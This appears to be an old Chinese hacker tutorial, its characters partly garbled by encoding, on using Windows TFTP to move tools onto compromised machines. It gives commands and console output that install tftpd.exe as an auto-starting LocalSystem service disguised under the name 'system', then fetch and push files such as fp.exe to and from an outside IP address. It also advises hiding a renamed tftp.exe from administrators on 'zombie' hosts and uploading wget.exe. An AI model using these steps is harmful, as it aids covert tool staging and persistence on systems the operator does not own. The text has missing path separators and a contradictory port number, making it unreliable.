1. Tftp介紹
TFTP簡介
TFTP（Trivial File Transfer Protocol,簡單文件傳輸協(xié)議）是TCP/IP協(xié)議族中的一個用來在客戶機與服務器之間進行簡單文件傳輸?shù)膮f(xié)議，提供不復雜、開銷不大的文件傳輸服務。TFTP承載在UDP上，提供不可靠的數(shù)據(jù)流傳輸服務，不提供存取授權與認證機制，使用超時重傳方式來保證數(shù)據(jù)的到達。與FTP相比，TFTP的大小要小的多。現(xiàn)在最普遍使用的是第二版TFTP（TFTP Version 2,RFC1350）.
使用UDP 67端口！下面是fport.exe的結(jié)果
2000 tftpd -> 69 UDP c:winntsystem32tftpd.exe
2. 尋找tftp程序
C:WINNTsystem32>dir %windir%tftp* /s
dir %windir%tftp* /s //表示在%windir%目錄所有子目錄搜索tftp前綴程序驅(qū)動器 C 中的卷沒有標簽。卷的序列號是 D428-6BB5
C:WINNTsystem32 的目錄
2000-01-10 12:00 17,168 tftp.exe //客戶端 微軟自帶
2000-01-09 00:00 11,264 tftpd.exe //服務端 server版本以上才有
2 個文件 28,432 字節(jié) pro沒有
C:WINNTsystem32dllcache 的目錄
2000-01-10 12:00 17,168 tftp.exe
1 個文件 17,168 字節(jié)
3. 安裝為服務
需要instsrv.exe程序
a.安裝
C:WINNTsystem32>instsrv system %windir%system32tftpd.exe
instsrv system %windir%system32tftpd.exe
The service was successfuly added!
Make sure that you go into the Control Panel and use
the Services applet to change the Account Name and
Password that this newly installed service will use
b.查詢
C:WINNTsystem32>sc qc system
sc qc system
[SC] GetServiceConfig SUCCESS
SERVICE_NAME: system
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:WINNTsystem32tftpd.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : system
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
c.啟動
C:WINNTsystem32>net start system
net start system
system 服務正在啟動 .
system 服務已經(jīng)啟動成功。
C:WINNTsystem32>sc query system
sc query system
SERVICE_NAME: system
TYPE : 10 WIN32_OWN_PROCESS
STATE : 4 RUNNING
(STOPPABLE,PAUSABLE,ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
d.查看端口是否開放！
C:WINNTsystem32>fp |find "tftp"
fp |find "tftp"
2000 tftpd -> 69 UDP c:winntsystem32tftpd.exe
C:WINNTsystem32>netstat -an |find "69"
netstat -an |find "69"
UDP 192.168.0.1:69 *:*
UDP 218.11.x.67:69 *:*
e.默認文件名稱
當前驅(qū)動器的根目錄
C:WINNTsystem32>dir %windir%..tftp* /ad //看見了嗎？
dir %windir%..tftp* /ad
驅(qū)動器 C 中的卷沒有標簽。卷的序列號是 D428-6BB5C: 的目錄
2002-12-19 09:27
tftpdroot
0 個文件 0 字節(jié)
1 個目錄 3,560,779,776 可用字節(jié)
C:WINNTsystem32>dir %windir%..tftpdroot
dir %windir%..tftpdroot
驅(qū)動器 C 中的卷沒有標簽。卷的序列號是 D428-6BB5
C:tftpdroot 的目錄
2002-12-19 09:27
2002-12-19 09:27
..
2002-11-30 14:12 941 slimftpd.conf
2002-10-22 11:00 1,642 settings.ini
2001-05-04 13:58 52,736 fp.exe
f.使用客戶端程序
因為put就是默認到服務器的這個目錄。 上傳get就是到當前運行的目錄里面 下載
C:WINNTsystem32>tftp -i 218.11.x.67 get fp.exe
tftp -i 218.11.140.67 get fp.exe
Transfer successful: 52736 bytes in 1 second, 52736 bytes/s
對于小于500K的程序用這個上傳下載，還不錯哦。
因為telnet肉雞。win2000基本上都有tftp.exe 或者自己修改名稱隱藏一個呀。有的管理員要刪除的喲！！
C:WINNTsystem32>tftp -i 218.11.x.67 put fp.exe
tftp -i 218.11.140.67 put fp.exe
Transfer successful: 52736 bytes in 1 second, 52736 bytes/s
//上面是上傳到服務器。
.
4. 問題
因為目錄是固定的。所以很容易被發(fā)現(xiàn)。只要找弱一點的機器開tftp服務了。還有一個tftpd32.exe 是gui界面的 win98也可以自己開服務器的。壓縮后23K
我一般就是上傳wget.exe這樣方便。
還有就是
C:WINNTsystem32>tftp -i 218.11.x.67 get fp.exe
tftp -i 218.11.140.67 get fp.exe
tftp: can t write to local file fp.exe
一般就是本地沒有寫文件權限 (echo a >b) &(type b) 這樣測試權限或者本地存在同名只讀屬性的文件。需要更新的話。請刪除本地文件
